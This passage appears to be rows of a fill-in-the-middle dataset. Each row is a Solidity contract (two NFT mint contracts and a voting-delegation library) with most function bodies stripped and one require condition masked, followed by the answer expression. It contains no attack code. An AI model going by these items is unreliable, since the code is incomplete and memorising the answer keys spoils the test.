Pinterest: https://www.pinterest.com/ikeelyouerc20/
Email: ikeelyouerc20@gmail.com
***/
pragma solidity ^0.8.0;
import "./ERC721.sol";
import "./ERC721Enumerable.sol";
import "./ERC721Burnable.sol";
import "./ERC721Pausable.sol";
import "./ERC721URIStorage.sol";
import "./AccessControlEnumerable.sol";
import "./Context.sol";
import "./Strings.sol";
import "./Counters.sol";
interface INFTContract {
function getMaxSupply() external view returns (uint max);
function getMinted() external view returns (uint minted);
function getMintPrice() external view returns (uint mintPrice);
function recoverETH () external;
function setMaxPerWallet(uint amount) external ;
function mintMany(uint256 quantity) external payable;
function setMintingEnabled(bool Allowed) external;
}
/**
* @dev {ERC721} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - token ID and URI autogenerationA
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract Achmed is Context, AccessControlEnumerable, ERC721Enumerable, ERC721URIStorage, INFTContract {
using Counters for Counters.Counter;
Counters.Counter public _tokenIdTracker;
string public _baseTokenURI = "https://ipfs.filebase.io/ipfs/";
string public notRevealedUri = "https://ipfs.filebase.io/ipfs/QmXYVfjUytEjYsYUhzxGVg1QbRtmo5PhDcRnpvo88NEtx4";
uint private _tokenPrice = 69000000000000000; // 0.069 ETH
uint public maxSupply = 72;
uint public maxPerWallet = 5;
address private _admin = 0x2482E506138AAAe3e25EC1C6403C3e380fBE8a27;
bool public canMint = false;
bool public revealed = false;
address public marketingWallet = 0x2482E506138AAAe3e25EC1C6403C3e380fBE8a27;
mapping (uint256 => address ) public creator;
constructor() ERC721("Achmed - The Dead Terrorist", "Achmed") {
}
receive () external payable {
}
function reveal() public {
}
function setMarketingWallet(address _marketingWallet) public {
}
function SetMintPrice(uint256 _mintPrice) external {
}
function getMinted() external view override returns (uint minted){
}
function getMaxSupply() external view override returns (uint max){
}
function getMintPrice() external view override returns (uint mintPrice){
}
function setAdditionalAdmin(address newAdmin) external {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) external {
}
function setTokenURI(uint256 tokenId, string memory _tokenURI) external {
}
function setMintingEnabled(bool Allowed) external override {
}
function setMaxPerWallet(uint amount) external override {
}
function mint() external payable {
}
function mintMany(uint256 quantity) external payable override {
require(canMint, "Achmed: minting currently disabled");
require(<FILL_ME>)
require((_tokenIdTracker.current() + quantity) <= maxSupply, "Achmed: all NFTs have been minted");
require(balanceOf(msg.sender)+quantity <= maxPerWallet, "Achmed: max allowed limit reached.");
for(uint i = 0; i < quantity; i++){
_mint(msg.sender, _tokenIdTracker.current());
creator[_tokenIdTracker.current()] = msg.sender;
_setTokenURI(_tokenIdTracker.current(), string(abi.encodePacked(Strings.toString(_tokenIdTracker.current()), ".json")));
_tokenIdTracker.increment();
}
splitBalance(quantity);
}
function mintMultiples(address[] calldata recipients)public {
}
function NftCreator(uint256 tokenId) public view returns(address){
}
function _burn(uint256 tokenId) internal virtual override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Enumerable) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerable, ERC721, ERC721Enumerable) returns (bool) {
}
function recoverETH () external override {
}
function splitBalance(uint256 amount) private {
}
}
| msg.value>=(quantity*_tokenPrice),"Achmed: must send correct price" | 511,970 | msg.value>=(quantity*_tokenPrice) |
"Achmed: all NFTs have been minted" | //SPDX-License-Identifier: Copyright Achmed
/***
ABOUT ACHMED
My fans would argue that I don’t need an introduction, but the truth is, after kicking the bucket, you tend to be forgotten and I’ve been dead for quite some time now, so let’s set up the stage:
Who says your career needs to end once you die? Well, usually, it's the suicide bombers, isn't it? Enter yours truly – Achmed, the dead terrorist; the fear-inducing, worldwide-known, former suicide bomber with a killer sense of humor. My failed attempt at being a suicide bomber (Or was it a success? Can't remember) made me rethink priorities a bit, and while waiting for my promised 72 virgins, I had an epiphany: why not try stand-up comedy instead?
My debut was in "Spark of Insanity," and ever since, Jeff Dunham and I have been inseparable. Jeff takes me pretty much anywhere and everywhere we show up it’s pretty lit (no pun intended). My fellow suicide bombers might think life after death is only about fun and claiming your 72 virgins, but I’m having such a blast still sticking around and throwing my highly explosive punchlines everywhere I go. Kind to think of it, I really put the "dead" in dead-funny and make audiences blow up into laughter every time I repeat my killer catchphrase "I Keel You!"
I’d shake your hand, but then I’d be afraid to puzzle my bones back together.
So, Silence, I Keel You and let’s get things done!
---
ACHMED'S MISSION
If I couldn’t blow up the whole world, I’m now focused on melting everybody’s hearts instead. Cheesy, I know. While burning tokens up like fireworks is fun, I am also pretty focused on settling the score and doing some good. Therefore, 1% of my earnings will go to a charity fund. Yes, even suicide bombers can have a change of heart, it is usually after they blow up and don’t get their promised rewards, but the order is not that important.
Together, we can ignite bombs, get virgins and so much more!
Join me or … Silence, I Keell You!
Website: https://www.ikeelyou.vip/
Mint Dapp: https://www.mint.ikeelyou.vip/
Telegram: https://t.me/iKeelYouERC20
X: https://twitter.com/ikeelyouerc20
Instagram: https://www.instagram.com/ikeelyouerc20
YouTube: https://www.youtube.com/@ikeelyouerc20
TikTok: https://www.tiktok.com/@ikeelyouerc20
Pinterest: https://www.pinterest.com/ikeelyouerc20/
Email: ikeelyouerc20@gmail.com
***/
pragma solidity ^0.8.0;
import "./ERC721.sol";
import "./ERC721Enumerable.sol";
import "./ERC721Burnable.sol";
import "./ERC721Pausable.sol";
import "./ERC721URIStorage.sol";
import "./AccessControlEnumerable.sol";
import "./Context.sol";
import "./Strings.sol";
import "./Counters.sol";
interface INFTContract {
function getMaxSupply() external view returns (uint max);
function getMinted() external view returns (uint minted);
function getMintPrice() external view returns (uint mintPrice);
function recoverETH () external;
function setMaxPerWallet(uint amount) external ;
function mintMany(uint256 quantity) external payable;
function setMintingEnabled(bool Allowed) external;
}
/**
* @dev {ERC721} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - token ID and URI autogenerationA
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract Achmed is Context, AccessControlEnumerable, ERC721Enumerable, ERC721URIStorage, INFTContract {
using Counters for Counters.Counter;
Counters.Counter public _tokenIdTracker;
string public _baseTokenURI = "https://ipfs.filebase.io/ipfs/";
string public notRevealedUri = "https://ipfs.filebase.io/ipfs/QmXYVfjUytEjYsYUhzxGVg1QbRtmo5PhDcRnpvo88NEtx4";
uint private _tokenPrice = 69000000000000000; // 0.069 ETH
uint public maxSupply = 72;
uint public maxPerWallet = 5;
address private _admin = 0x2482E506138AAAe3e25EC1C6403C3e380fBE8a27;
bool public canMint = false;
bool public revealed = false;
address public marketingWallet = 0x2482E506138AAAe3e25EC1C6403C3e380fBE8a27;
mapping (uint256 => address ) public creator;
constructor() ERC721("Achmed - The Dead Terrorist", "Achmed") {
}
receive () external payable {
}
function reveal() public {
}
function setMarketingWallet(address _marketingWallet) public {
}
function SetMintPrice(uint256 _mintPrice) external {
}
function getMinted() external view override returns (uint minted){
}
function getMaxSupply() external view override returns (uint max){
}
function getMintPrice() external view override returns (uint mintPrice){
}
function setAdditionalAdmin(address newAdmin) external {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) external {
}
function setTokenURI(uint256 tokenId, string memory _tokenURI) external {
}
function setMintingEnabled(bool Allowed) external override {
}
function setMaxPerWallet(uint amount) external override {
}
function mint() external payable {
}
function mintMany(uint256 quantity) external payable override {
require(canMint, "Achmed: minting currently disabled");
require(msg.value >= (quantity * _tokenPrice), "Achmed: must send correct price");
require(<FILL_ME>)
require(balanceOf(msg.sender)+quantity <= maxPerWallet, "Achmed: max allowed limit reached.");
for(uint i = 0; i < quantity; i++){
_mint(msg.sender, _tokenIdTracker.current());
creator[_tokenIdTracker.current()] = msg.sender;
_setTokenURI(_tokenIdTracker.current(), string(abi.encodePacked(Strings.toString(_tokenIdTracker.current()), ".json")));
_tokenIdTracker.increment();
}
splitBalance(quantity);
}
function mintMultiples(address[] calldata recipients)public {
}
function NftCreator(uint256 tokenId) public view returns(address){
}
function _burn(uint256 tokenId) internal virtual override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Enumerable) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerable, ERC721, ERC721Enumerable) returns (bool) {
}
function recoverETH () external override {
}
function splitBalance(uint256 amount) private {
}
}
| (_tokenIdTracker.current()+quantity)<=maxSupply,"Achmed: all NFTs have been minted" | 511,970 | (_tokenIdTracker.current()+quantity)<=maxSupply |
"user has not delegated enough to delegate" | pragma solidity ^0.8.17;
library VotingPowerHistory {
using VotingPowerHistory for History;
using VotingPowerHistory for Record;
using ScaledMath for uint256;
struct Record {
uint256 at;
uint256 baseVotingPower;
uint256 multiplier;
int256 netDelegatedVotes;
}
function zeroRecord() internal pure returns (Record memory) {
}
function total(Record memory record) internal pure returns (uint256) {
}
struct History {
mapping(address => Record[]) votes;
mapping(address => mapping(address => uint256)) _delegations;
mapping(address => uint256) _delegatedToOthers;
mapping(address => uint256) _delegatedToSelf;
}
event VotesDelegated(address from, address to, uint256 amount);
event VotesUndelegated(address from, address to, uint256 amount);
function updateVotingPower(
History storage history,
address for_,
uint256 baseVotingPower,
uint256 multiplier,
int256 netDelegatedVotes
) internal returns (Record memory) {
}
function getVotingPower(
History storage history,
address for_,
uint256 at
) internal view returns (uint256) {
}
function currentRecord(
History storage history,
address for_
) internal view returns (Record memory) {
}
function binarySearch(
Record[] memory records,
uint256 at
) internal view returns (bool found, Record memory) {
}
function _binarySearch(
Record[] memory records,
uint256 at,
uint256 startIdx,
uint256 endIdx
) internal view returns (bool found, Record memory) {
}
function delegateVote(
History storage history,
address from,
address to,
uint256 amount
) internal {
}
function undelegateVote(
History storage history,
address from,
address to,
uint256 amount
) internal {
require(<FILL_ME>)
history._delegatedToSelf[to] -= amount;
history._delegatedToOthers[from] -= amount;
history._delegations[from][to] -= amount;
Record memory fromCurrent = history.currentRecord(from);
history.updateVotingPower(
from,
fromCurrent.baseVotingPower,
fromCurrent.multiplier,
history.netDelegatedVotingPower(from)
);
Record memory toCurrent = history.currentRecord(to);
history.updateVotingPower(
to,
toCurrent.baseVotingPower,
toCurrent.multiplier,
history.netDelegatedVotingPower(to)
);
emit VotesUndelegated(from, to, amount);
}
function netDelegatedVotingPower(
History storage history,
address who
) internal view returns (int256) {
}
function delegatedVotingPower(
History storage history,
address who
) internal view returns (uint256) {
}
function updateMultiplier(
History storage history,
address who,
uint256 multiplier
) internal {
}
}
| history._delegations[from][to]>=amount,"user has not delegated enough to delegate" | 511,985 | history._delegations[from][to]>=amount |
"Cannot mint past max supply" | // SPDX-License-Identifier: MIT
//
// https://griftur.xyz
//
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "operator-filter-registry/src/RevokableOperatorFilterer.sol";
import {CANONICAL_OPERATOR_FILTER_REGISTRY_ADDRESS} from "operator-filter-registry/src/lib/Constants.sol";
abstract contract RevokableDefaultOperatorFilterer is
RevokableOperatorFilterer
{
address constant BLUR_CURATED_SUBSCRIPTION =
0x9dC5EE2D52d014f8b81D662FA8f4CA525F27cD6b;
constructor()
RevokableOperatorFilterer(
CANONICAL_OPERATOR_FILTER_REGISTRY_ADDRESS,
BLUR_CURATED_SUBSCRIPTION,
true
)
{}
}
contract BlurGrift is
ERC721A,
Pausable,
ReentrancyGuard,
RevokableDefaultOperatorFilterer,
Ownable,
ERC2981
{
string private _baseTokenURI = "ipfs://QmYb5BQihqN6utgyeNXgdf7BfDnEWBTkwFMg95gPnL7HLm/";
string private _baseURISuffix = ".json";
uint256 public MINT_PRICE = 0.0069 ether;
uint16 public MAX_SUPPLY = 666;
uint8 public MAX_MINT_PER_TX = 3;
uint8 public MAX_PER_WALLET = 6;
constructor() ERC721A("Griftur", "GRIFTUR") {
}
function mint(uint8 num) external payable whenNotPaused nonReentrant {
uint256 requiredMintFee = MINT_PRICE * num;
if (_numberMinted(msg.sender) == 0) {
requiredMintFee = MINT_PRICE * (num - 1);
}
require(msg.value >= requiredMintFee, "Send more ETH");
require(num <= MAX_MINT_PER_TX, "Limit 3 per transaction");
uint256 totalMinted = _totalMinted();
require(<FILL_ME>)
uint256 mintedByWallet = _numberMinted(msg.sender);
require(mintedByWallet + num <= MAX_PER_WALLET, "Limit 6 per wallet");
_mint(msg.sender, num);
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override(ERC721A)
returns (string memory)
{
}
function _baseURI() internal view override returns (string memory) {
}
function _baseURIExtension() internal view returns (string memory) {
}
function setBaseURI(string memory baseURI) external onlyOwner {
}
function setBaseURISuffix(string memory baseURISuffix) external onlyOwner {
}
function reserve(uint8 num) external onlyOwner {
}
function getNumberMinted(address addr) external view returns (uint256) {
}
function setMaxSupply(uint16 newSupply) public onlyOwner {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function owner()
public
view
virtual
override(Ownable, UpdatableOperatorFilterer)
returns (address)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function withdraw() external onlyOwner {
}
function setDefaultRoyalty(address receiver, uint96 feeNumerator)
public
onlyOwner
{
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override(ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override(ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override(ERC721A) onlyAllowedOperator(from) {
}
}
| num+totalMinted<MAX_SUPPLY,"Cannot mint past max supply" | 512,198 | num+totalMinted<MAX_SUPPLY |
"Limit 6 per wallet" | // SPDX-License-Identifier: MIT
//
// https://griftur.xyz
//
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "operator-filter-registry/src/RevokableOperatorFilterer.sol";
import {CANONICAL_OPERATOR_FILTER_REGISTRY_ADDRESS} from "operator-filter-registry/src/lib/Constants.sol";
abstract contract RevokableDefaultOperatorFilterer is
RevokableOperatorFilterer
{
address constant BLUR_CURATED_SUBSCRIPTION =
0x9dC5EE2D52d014f8b81D662FA8f4CA525F27cD6b;
constructor()
RevokableOperatorFilterer(
CANONICAL_OPERATOR_FILTER_REGISTRY_ADDRESS,
BLUR_CURATED_SUBSCRIPTION,
true
)
{}
}
contract BlurGrift is
ERC721A,
Pausable,
ReentrancyGuard,
RevokableDefaultOperatorFilterer,
Ownable,
ERC2981
{
string private _baseTokenURI = "ipfs://QmYb5BQihqN6utgyeNXgdf7BfDnEWBTkwFMg95gPnL7HLm/";
string private _baseURISuffix = ".json";
uint256 public MINT_PRICE = 0.0069 ether;
uint16 public MAX_SUPPLY = 666;
uint8 public MAX_MINT_PER_TX = 3;
uint8 public MAX_PER_WALLET = 6;
constructor() ERC721A("Griftur", "GRIFTUR") {
}
function mint(uint8 num) external payable whenNotPaused nonReentrant {
uint256 requiredMintFee = MINT_PRICE * num;
if (_numberMinted(msg.sender) == 0) {
requiredMintFee = MINT_PRICE * (num - 1);
}
require(msg.value >= requiredMintFee, "Send more ETH");
require(num <= MAX_MINT_PER_TX, "Limit 3 per transaction");
uint256 totalMinted = _totalMinted();
require(num + totalMinted < MAX_SUPPLY, "Cannot mint past max supply");
uint256 mintedByWallet = _numberMinted(msg.sender);
require(<FILL_ME>)
_mint(msg.sender, num);
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override(ERC721A)
returns (string memory)
{
}
function _baseURI() internal view override returns (string memory) {
}
function _baseURIExtension() internal view returns (string memory) {
}
function setBaseURI(string memory baseURI) external onlyOwner {
}
function setBaseURISuffix(string memory baseURISuffix) external onlyOwner {
}
function reserve(uint8 num) external onlyOwner {
}
function getNumberMinted(address addr) external view returns (uint256) {
}
function setMaxSupply(uint16 newSupply) public onlyOwner {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function owner()
public
view
virtual
override(Ownable, UpdatableOperatorFilterer)
returns (address)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function withdraw() external onlyOwner {
}
function setDefaultRoyalty(address receiver, uint96 feeNumerator)
public
onlyOwner
{
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override(ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override(ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override(ERC721A) onlyAllowedOperator(from) {
}
}
| mintedByWallet+num<=MAX_PER_WALLET,"Limit 6 per wallet" | 512,198 | mintedByWallet+num<=MAX_PER_WALLET |